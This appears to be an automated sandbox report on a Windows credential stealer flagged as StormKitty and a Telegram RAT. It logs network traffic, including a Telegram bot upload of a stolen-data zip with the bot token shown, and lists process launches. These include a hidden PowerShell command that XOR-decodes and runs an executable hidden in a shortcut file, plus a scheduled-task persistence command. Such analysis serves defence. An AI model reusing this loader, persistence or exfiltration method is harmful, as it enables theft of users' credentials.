Jan 11, 2025 08:42:04.368690968 CET	4944	OUT	Data Raw: 35 31 64 71 53 4c 25 32 66 43 31 4a 55 51 74 5a 59 52 73 4a 4c 62 4a 4c 76 69 43 6a 47 6b 42 45 44 70 79 65 5a 65 48 6e 75 57 58 42 4d 4b 32 6e 64 4a 73 74 30 4d 76 70 35 42 54 76 33 4d 65 42 78 77 61 6c 72 70 7a 68 4a 74 54 4c 70 56 4b 4d 34 38 Data Ascii: 51dqSL%2fC1JUQtZYRsJLbJLviCjGkBEDpyeZeHnuWXBMK2ndJst0Mvp5BTv3MeBxwalrpzhJtTLpVKM48k8%2bvKMF4pWTh3AbsfHJB9xtxSvyn3cdbDF7%2ftUTVO%2b3MuY%2bezUZl7%2bHtCHDhuFCLXzlDCCgWKFivQsa7ZCJ53Y8RHI5kvUEI3G1P4XYZULWfIBGsLCVMZQ9fdH2quTo8IW5XVoLiGkf9GERvoz5MKCx
Jan 11, 2025 08:42:04.368721008 CET	4944	OUT	Data Raw: 4c 4c 36 76 4c 66 77 25 32 66 61 53 75 53 58 4d 49 6e 77 4b 78 73 31 54 75 25 32 62 36 56 6d 69 6f 59 46 46 48 50 31 62 69 74 45 59 70 4d 41 78 78 44 44 4c 34 64 79 4b 6d 63 6c 6d 56 75 57 39 52 30 51 67 32 4b 41 4f 30 45 68 49 6f 49 73 32 4c 4e Data Ascii: LL6vLfw%2faSuSXMInwKxs1Tu%2b6VmioYFFHP1bitEYpMAxxDDL4dyKmclmVuW9R0Qg2KAO0EhIoIs2LNqd8KSBzGU5sDxjhabyJQDMbXyInBGSLE5Lg7bJr1NfyQmwS7GaI4BsIQaXlQRnV5WcPe4KExDU%2bO1aswVYTFK%2fO4B%2fAmD%2fHHf47j%2bLxD9kFpxUnR%2bqOnovF3FyQuZB8ynlgFtCCn10udmsJZSUbOp
Jan 11, 2025 08:42:04.376085043 CET	4944	OUT	Data Raw: 4d 47 57 45 75 42 62 57 34 41 46 44 51 6d 52 39 4a 62 39 57 68 51 77 67 56 61 48 4b 55 38 73 6d 38 47 70 37 62 71 6b 32 64 62 69 59 47 25 32 66 63 59 36 4c 75 57 48 51 6f 45 32 6e 4a 43 6b 4c 30 25 32 62 44 5a 61 48 34 7a 72 49 69 69 57 59 32 36 Data Ascii: MGWEuBbW4AFDQmR9Jb9WhQwgVaHKU8sm8Gp7bqk2dbiYG%2fcY6LuWHQoE2nJCkL0%2bDZaH4zrIiiWY26C3J6PvaU%2b%2fgjxhFjQP4WO7a0IGGdniDGGNdAmj4FkgOZjl5Vzaj1GljMJbUHn7hQFU1%2bpdVtOb%2fPa0cpQTUCAfhxVczGh4WpupJUG2XaL%2fuGLqKIYJh33lLYW8dvduTs96ZsXPuGDbtSv2QxbmM0Vyg
Jan 11, 2025 08:42:04.376137018 CET	4944	OUT	Data Raw: 50 43 66 51 6f 4e 61 6e 48 6f 25 32 66 4d 52 7a 31 4b 58 42 45 72 6f 48 32 41 52 72 77 66 34 67 55 33 33 25 32 66 36 76 44 50 58 42 4b 74 74 32 76 6b 42 36 71 39 57 4f 74 55 38 25 32 66 6c 59 51 47 7a 53 70 43 4f 59 52 67 36 65 66 63 31 43 4c 48 Data Ascii: PCfQoNanHo%2fMRz1KXBEroH2ARrwf4gU33%2f6vDPXBKtt2vkB6q9WOtU8%2flYQGzSpCOYRg6efc1CLHBZaGBHsE5dDl7MgPBZOuWkMejLTsVE7HPFChUEYgmzN%2ftXWx73GEmGf4gDGRX7QIYgywyri5S24ys0GzQUa4GC594eLEckitzbAXDU%2bQnKUJ8RMyYAcyKW6gwz35pJYXovddezeE%2fAMK9CJ6PeE%2bOA82f
Jan 11, 2025 08:42:04.376176119 CET	4944	OUT	Data Raw: 31 6a 43 35 75 37 32 57 4c 4d 6f 63 38 41 74 48 65 25 32 66 63 25 32 66 45 72 33 56 38 6d 74 65 25 32 62 66 4f 70 4d 4d 71 79 69 64 4a 76 36 4f 53 4a 32 59 79 51 32 39 49 6e 4d 56 54 63 65 66 51 4b 68 53 45 6f 7a 4c 76 51 57 68 4c 62 71 57 47 71 Data Ascii: 1jC5u72WLMoc8AtHe%2fc%2fEr3V8mte%2bfOpMMqyidJv6OSJ2YyQ29InMVTcefQKhSEozLvQWhLbqWGqnkSWt%2bg31c87UxahpmWwVyq%2blPOxDRMTSf8z0eXkFajOnygg7WsOMdCYkBxHpp%2bBRd13UAF0AOJ6iup2V3XKrT1tbacD2tCAq0pD3GQ3quBn13nMruWaleCAm7naovtSCL2xII%2bekQVsQhjkOZV%2fn7H
Jan 11, 2025 08:42:04.933046103 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 08:42:06.108081102 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:42:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	104.21.44.66	443	5268	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 07:41:53 UTC	112	OUT	GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1 Host: api.mylnikov.org Connection: Keep-Alive
2025-01-11 07:41:54 UTC	1003	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 07:41:54 GMT Content-Type: application/json; charset=utf8 Content-Length: 88 Connection: close Access-Control-Allow-Origin: * Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 48772 Last-Modified: Fri, 10 Jan 2025 18:09:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yudrr9jyGqK0HVq9Ir5Io7tRCOq0rpzJE4Nso6sWueW2sI12jGxvSt3c8v8B8GypEmpwCF%2BucgZi3HHm8d1sX99%2BnWh5NJqI0ODlFcSNsZsvuoYwKx2vEBiyS%2FCGuwfBzHkZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 9003445cadc1440d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2052&min_rtt=2050&rtt_var=774&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=726&delivery_rate=1409946&cwnd=178&unsent_bytes=0&cid=e5a35b111f15e72d&ts=191&x=0"
2025-01-11 07:41:54 UTC	88	IN	Data Raw: 7b 22 72 65 73 75 6c 74 22 3a 34 30 34 2c 20 22 64 61 74 61 22 3a 7b 7d 2c 20 22 6d 65 73 73 61 67 65 22 3a 36 2c 20 22 64 65 73 63 22 3a 22 4f 62 6a 65 63 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 22 2c 20 22 74 69 6d 65 22 3a 31 37 33 36 35 33 32 35 34 32 7d Data Ascii: {"result":404, "data":{}, "message":6, "desc":"Object was not found", "time":1736532542}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49724	149.154.167.220	443	5268	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 07:42:02 UTC	278	OUT	POST /bot7033932802:AAGEIhL9e0lyUi0vjZnRy3PcwnKJPhSCFWQ/sendDocument?chat_id=1126217452 HTTP/1.1 Content-Type: multipart/form-data; boundary="5e6f3de5-9dbc-42c8-978a-01d8ad9e017a" Host: api.telegram.org Content-Length: 190055 Expect: 100-continue Connection: Keep-Alive
2025-01-11 07:42:02 UTC	25	IN	HTTP/1.1 100 Continue
2025-01-11 07:42:02 UTC	40	OUT	Data Raw: 2d 2d 35 65 36 66 33 64 65 35 2d 39 64 62 63 2d 34 32 63 38 2d 39 37 38 61 2d 30 31 64 38 61 64 39 65 30 31 37 61 0d 0a Data Ascii: --5e6f3de5-9dbc-42c8-978a-01d8ad9e017a
2025-01-11 07:42:02 UTC	115	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 39 44 39 33 32 45 44 33 30 31 2e 7a 69 70 2e 62 69 6e 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 39 44 39 33 32 45 44 33 30 31 2e 7a 69 70 2e 62 69 6e 0d 0a 0d 0a Data Ascii: Content-Disposition: form-data; name=document; filename=9D932ED301.zip.bin; filename*=utf-8''9D932ED301.zip.bin
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: 4b ae 49 92 bb fa ca 87 f4 d1 e1 e7 51 07 be b7 d9 35 06 5e 83 dd 59 87 80 9b e8 89 f2 41 47 01 c7 3f 48 60 16 06 8e 9e 23 1c e3 e9 0a 6c 8a fd ea af 6e cc e8 9b e7 35 41 79 33 11 7f bf 1d a4 4d dc a6 33 52 0d 45 e5 75 8a fa d1 0e 53 5a 6d 2a fd 61 92 5c 79 78 95 bd 46 a4 db 7a ff a8 e9 fa 67 53 e1 85 cc be 84 c7 54 df be 6b df e1 d1 90 7d 61 bb 67 ff 79 85 4b fd 80 a4 a5 aa 54 e3 92 cc 55 30 f1 10 a5 85 53 20 3c 63 3e 8b cb 4a 63 8a c8 99 0c e4 f3 9c 7b 26 6b 2b 32 dd db 87 63 1e 32 08 ca e3 c8 63 bb 77 72 40 f5 2b 8d a3 63 c1 5e 2d 26 fc cf a4 15 15 cc 26 13 fb 1a 9a 35 7c 66 25 37 25 ce ba 5f 2e 52 2b 21 d5 22 f0 60 d5 8a b7 27 20 fc f0 85 09 7f b9 25 f5 64 3a fb 84 f3 c7 af cb 92 44 b8 79 ca 10 c6 b7 42 73 e3 ce ff fe 53 95 9e 0a 62 22 bc cc e0 5f 2f Data Ascii: KIQ5^YAG?H`#ln5Ay3M3REuSZm*a\yxFzgSTk}agyKTU0S <c>Jc{&k+2c2cwr@+c^-&&5\|f%7%_.R+!"`' %d:DyBsSb"_/
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: 29 46 3c 53 c7 37 93 3b 9b 9e e8 f6 bd 57 1e bc 9b ec a7 2d 25 ff 24 18 43 7d b4 a3 7a 22 42 72 82 3b 3c 5a 94 7f 56 22 35 5a ea dc b1 01 9a 67 16 c9 af 48 3d ad 85 77 92 e1 6f f8 dd 0a 8b 90 e6 4a 5d 73 78 9d 97 c6 8f 3d fd 04 3a 5e 15 b4 72 e3 79 fd 19 d9 d0 91 61 66 a3 ea 4e b4 f6 68 23 9f 68 40 c0 57 1d 25 f5 04 95 f8 05 5c a6 5e 5b 08 2d f4 17 af fa 89 65 62 85 81 8d a0 52 ae 0e 82 c3 9c 63 25 3a 45 60 e5 17 20 0f 23 1c 01 10 61 39 d4 53 33 19 3a a7 a6 67 aa 06 83 73 9e b3 dc 88 f0 66 e9 5b 95 54 12 46 37 3f bc bf bb a3 20 44 8a 19 5b fd 71 03 8e 8f 7f 4d 1e 9c c8 97 f4 38 63 55 22 a1 92 c4 a3 d5 fe 40 e3 fd e6 a8 f3 b8 88 cb ca 59 96 82 2e ef 6c 9f c9 88 25 26 2b 3b 0a ba e5 d7 13 53 43 56 0f dc 8a 52 e9 b1 f8 7f ed b1 ba dd 14 2e 6c 5b ea c1 2e 20 Data Ascii: )F<S7;W-%$C}z"Br;<ZV"5ZgH=woJ]sx=:^ryafNh#h@W%\^[-ebRc%:E` #a9S3:gsf[TF7? D[qM8cU"@Y.l%&+;SCVR.l[.
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: 5e ea ca 01 fd cb 37 80 a3 74 1d a7 00 a8 7e 55 7c 44 51 4e f2 29 ab e6 d6 9a 97 68 d7 29 99 43 d5 ae e7 a2 f9 a7 32 19 d1 ec 2a 61 a9 9b e4 78 93 c9 de 16 7e d4 2f ff 46 61 f0 a9 7f 56 1d 69 eb 86 04 68 20 95 aa f6 57 76 cc 31 9b e9 29 39 23 00 63 91 0b f8 21 bd 65 bb db 18 3b 7b c5 b7 4b e9 fe e7 f9 9f 88 73 11 89 c4 ce 37 38 db 16 9c 1a 54 a4 3a 2b 4d 15 95 88 bb b6 76 81 c8 16 fe 03 ce 3c 2e 5a df d8 7a 3b 3e 65 49 bc 87 17 51 2b 5e 88 d6 b6 cb 38 3f 73 a2 1f 59 6b 76 bf 42 e6 0e ca 37 23 e9 83 1f 45 46 17 3a a1 20 0e df b7 f6 f6 fb 9b 52 b4 4e ff 21 73 e5 69 b4 96 33 d7 2d b8 04 0f 0a 0e e2 35 a3 96 78 ea ee dd 15 f9 d3 be 29 69 e1 09 72 fd 8f f5 59 00 ea f2 d3 54 82 15 2d e4 57 14 ab ec b9 5e 46 70 4b f3 50 91 1b 6c ed 76 f0 65 8d c1 56 11 32 4f 25 Data Ascii: ^7t~U\|DQN)h)C2*ax~/FaVih Wv1)9#c!e;{Ks78T:+Mv<.Zz;>eIQ+^8?sYkvB7#EF: RN!si3-5x)irYT-W^FpKPlveV2O%
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: f8 53 e9 64 fc f6 1d af ab 51 29 03 3e e4 18 a1 d7 66 19 e8 78 b3 07 90 9a e0 8a 48 2f 9a 60 ce 08 35 39 61 8d 0d e4 f5 a7 fc 88 45 99 59 d8 75 12 04 22 9d c3 66 0e 42 b3 e3 42 e6 5e 7e 41 43 fe 7a 6b 04 97 e0 9c 25 48 e7 03 c4 77 ab 3b 90 18 94 12 51 6d a2 06 37 98 ce 1f 74 ec ac 98 42 9b f0 7c 76 af 8d ff 35 96 a6 4a fd a1 d9 a2 28 c2 df 48 e4 9e 2b d8 b3 5e 2b 35 4c 87 33 f8 b3 ca ef 2f 66 1c 0e 3b 00 cf 25 49 ad cc e2 fa bf ae 58 f9 d7 a5 36 37 1d 4e 59 6f 85 dd 41 50 25 20 18 d3 68 f6 71 e2 5f 9a 8c 10 c1 44 b6 99 cc 8c f1 70 55 89 49 7b ef 15 f3 ec 3d c6 2f 65 f0 60 0a 88 da c0 b1 86 63 1d 4d 9c 66 a8 08 2b a3 7b 68 91 1d ba 65 91 25 8b ef cb 58 d4 a1 97 bf af 19 09 56 fa c5 af b8 50 3d a8 92 4d 03 a6 aa 03 53 28 b4 2e 92 6f d7 f1 93 c3 2c 1a a6 4b Data Ascii: SdQ)>fxH/`59aEYu"fBB^~ACzk%Hw;Qm7tB\|v5J(H+^+5L3/f;%IX67NYoAP% hq_DpUI{=/e`cMf+{he%XVP=MS(.o,K
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: c1 c3 e4 0f 24 8d 40 9f 83 69 84 f6 33 86 f5 aa 0a 8c 28 80 08 81 46 ac b2 95 c3 b7 20 cd 24 d9 64 37 7d b7 c6 94 be 1e 7c 73 71 e4 08 42 f0 f7 2a 2f 49 b1 6c 23 45 f8 79 9d ab 4e 07 35 7f 4a 4c 14 ec ac 92 09 0e c7 62 1b 7b f2 19 27 e3 40 a3 0b e2 bc a1 fb d0 fd 30 3b 6a 38 08 f1 cb 1d 0d 00 de c8 81 01 7e 34 70 b6 ef fb a6 6f f5 55 83 6d e7 ab 57 96 d4 ff fd ce 60 d6 a2 e7 c4 58 58 5a b0 59 b5 4d ad 89 1d 96 33 f9 50 91 bc 08 f8 eb 8a a3 50 40 48 00 fa e2 c8 11 03 5f 63 55 f9 e6 86 1b db 0a ab 93 a8 4a 03 9a d1 45 46 0b 25 68 40 4b cd 98 60 b9 ed a7 87 fb 9b 83 9d e9 3d 84 2f 4c a6 79 21 a3 03 e7 c3 b2 f1 8a 31 63 28 08 71 18 54 27 2f a5 03 bb e3 3f 3d ec 26 da f4 f1 fa 25 51 33 40 cc 51 7e 41 d4 33 f7 88 39 90 0c 67 15 6f 69 ce 79 5a 7e 41 82 c0 6a 04 Data Ascii: $@i3(F $d7}\|sqB*/Il#EyN5JLb{'@0;j8~4poUmW`XXZYM3PP@H_cUJEF%h@K`=/Ly!1c(qT'/?=&%Q3@Q~A39goiyZ~Aj
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: 85 cf 06 88 a8 79 70 c7 c0 97 dd 39 8f b1 28 f9 c4 99 8a d5 29 40 66 49 0e 81 83 8c d3 a6 00 7b a9 23 23 52 90 b0 20 9d 2f fa af e3 9e 86 a1 45 c0 fa 2b 5f 0e 98 25 ae a1 d4 7c ea fc e5 d3 8d 17 5f 39 8e 0e 1a 04 b7 19 15 2f 89 37 35 fd 47 3e 76 bf 02 b4 f1 a2 7c eb c4 d3 a3 36 98 84 1f 22 71 fc 21 5c 8c 2b 46 65 ea 4d f6 50 0a c9 8e 95 b5 2d c5 f6 29 5e 3f 9f c4 56 4d d7 72 ac ee 06 c4 af c1 52 05 ac 26 46 5e eb 16 e3 3b e2 6d be 1f e9 c3 31 e0 72 0d 58 24 9b d1 30 05 33 74 d7 b4 a0 8e c5 d0 84 0e 2b be 5d e3 eb 21 15 b3 ba 6d 19 a2 71 9a 91 d0 95 2a a9 bd 5b dd d5 2a 4d 32 11 53 e6 58 1b 51 a6 66 60 c7 2f 8e e1 f5 9f 8a 7c 5b 79 be 44 1a dc f5 18 96 34 ea 4c 9c d7 bb b2 ca 97 a1 0f d2 1a e4 c8 d7 f6 5a 05 43 47 8a cf 04 7f c7 e5 bd 07 df 28 ac eb 7d c3 Data Ascii: yp9()@fI{##R /E+_%\|_9/75G>v\|6"q!\+FeMP-)^?VMrR&F^;m1rX$03t+]!mq[M2SXQf`/\|[yD4LZCG(}
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: cb 94 ca 40 d0 0a a5 37 57 c3 52 51 92 fb 2d d9 27 6d ac 06 56 7c 1f 6d c6 db a7 bc 36 4c 95 50 f1 04 47 48 8b 19 ae e2 e1 01 3f 51 0a 33 16 fc c2 22 c8 4e e0 8e da 41 5c 29 71 b3 ca 3c 09 8e 65 88 8b 87 bb cf b3 fe 92 2c 55 0e 45 50 e2 0f ec c1 35 c2 4c d6 86 b1 f4 2f fd d0 53 26 a2 6f 71 7e dd 47 b0 b0 34 9b 92 6a 2e 68 36 1a db 98 30 8b 43 35 ae 00 eb 19 7f c0 4c 62 7e 4d 8b 97 f4 a0 c8 44 6f 98 55 54 e1 0e c7 26 2e b4 e6 02 e3 11 61 d5 7b 50 4c 4c 6c ae 72 a8 45 59 2c b4 bb 15 cd f2 a0 38 91 fd 3d 15 89 b6 b0 f6 07 b9 94 87 c8 e5 91 3c ee 2a 6e 94 6b 28 7e 89 b9 63 fe 46 b3 54 5a 80 75 00 4b 92 04 40 cb dd a9 aa 02 dd a9 53 96 0c c0 04 cb fb 35 02 b4 d2 d3 15 28 63 ef 1c 6b 68 6b 44 19 88 4e 24 cb 9e 9c 5c 62 fe b4 f6 87 72 25 1c 9e c6 f1 52 09 22 d2 Data Ascii: @7WRQ-'mV\|m6LPGH?Q3"NA\)q<e,UEP5L/S&oq~G4j.h60C5Lb~MDoUT&.a{PLLlrEY,8=<*nk(~cFTZuK@S5(ckhkDN$\br%R"
2025-01-11 07:42:02 UTC	16355	OUT	Data Raw: 2c 3e 64 d4 d9 ba 24 96 2b 4e 80 e0 4e 7b 86 3e 7f af ba b0 d2 1c e8 e0 29 59 4d 65 f5 5a 4a 2b 33 ed a5 33 d1 97 e6 88 5d f9 a3 2d ac 40 95 1d 74 ff 78 dc cb ae 51 4d 54 77 50 aa 26 0a be 66 b5 a1 c2 39 6b ba 35 1a b1 a2 3a 97 5c 3c e4 2c 21 6f fb e9 d0 7c 7f d4 07 bf 1f 74 cf 94 be 52 8d 9c 49 29 f2 ef 42 1a fe 35 6b 5d 1c b5 3e 36 b8 94 9d 80 88 89 6b d5 fc b9 11 3f ad 92 3f 2d 6c eb e6 7a 9d b5 f4 fd 94 ac 81 c5 cd 69 ed 2e 66 5e 2f 8d 68 94 c7 4e 00 a1 ac 74 92 47 0c 8c dc 8e d5 99 c6 88 49 62 7f f4 22 a7 c6 2b d8 8f ca 04 09 3a 41 aa 8d e9 e5 02 cb e4 69 f9 25 e7 67 26 44 79 35 8b 71 1e ce 7f cd ac a3 c0 3e 3e 52 f7 dc 45 fc ff ee dc 17 2c d2 d5 21 0c 37 02 ef f4 45 9f dd d1 af a5 9d 78 68 90 fd 8e 65 db 9e aa 67 d8 13 07 a4 66 4c cc 2f 64 48 eb e2 Data Ascii: ,>d$+NN{>)YMeZJ+33]-@txQMTwP&f9k5:\<,!o\|tRI)B5k]>6k??-lzi.f^/hNtGIb"+:Ai%g&Dy5q>>RE,!7ExhegfL/dH
2025-01-11 07:42:03 UTC	861	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 07:42:03 GMT Content-Type: application/json Content-Length: 473 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":674,"from":{"id":7033932802,"is_bot":true,"first_name":"d00mer","username":"d00m3rz_bot"},"chat":{"id":1126217452,"first_name":"N3cro","last_name":"M4ncer","username":"N3croM4nc","type":"private"},"date":1736581323,"document":{"file_name":"9D932ED301.zip.bin","mime_type":"application/octet-stream","file_id":"BQACAgQAAxkDAAIComeCIMuiQSd-O__DuIvRQmjt_ct8AAJtFgACamcQUCHX_cggrqtVNgQ","file_unique_id":"AgADbRYAAmpnEFA","file_size":189856}}}

Target ID:	0
Start time:	02:41:38
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^\| where-object {$_.length -eq 0x00012126} ^\| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^\| select -Skip 002838)) -Encoding Byte; ^& $path;
Imagebase:	0x7ff624c20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:41:38
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:41:39
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq 0x00012126} \| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = 'C:\Users\user\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file \| select -Skip 002838)) -Encoding Byte; & $path;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:41:42
Start date:	11/01/2025
Path:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\tmp1201676045.exe"
Imagebase:	0x1f768b00000
File size:	71'184 bytes
MD5 hash:	A7D234000C0F4FDE1266602EEBC0FC1C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:41:45
Start date:	11/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff7520b0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:41:45
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:41:46
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:41:46
Start date:	11/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff7520b0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:41:46
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:41:46
Start date:	11/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\user\AppData\Local\Temp\tmp1201676045.exe /sc minute /mo 5
Imagebase:	0x7ff7520b0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:41:46
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:41:47
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:41:47
Start date:	11/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2252,i,9030192651721464154,16366831422283657201,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

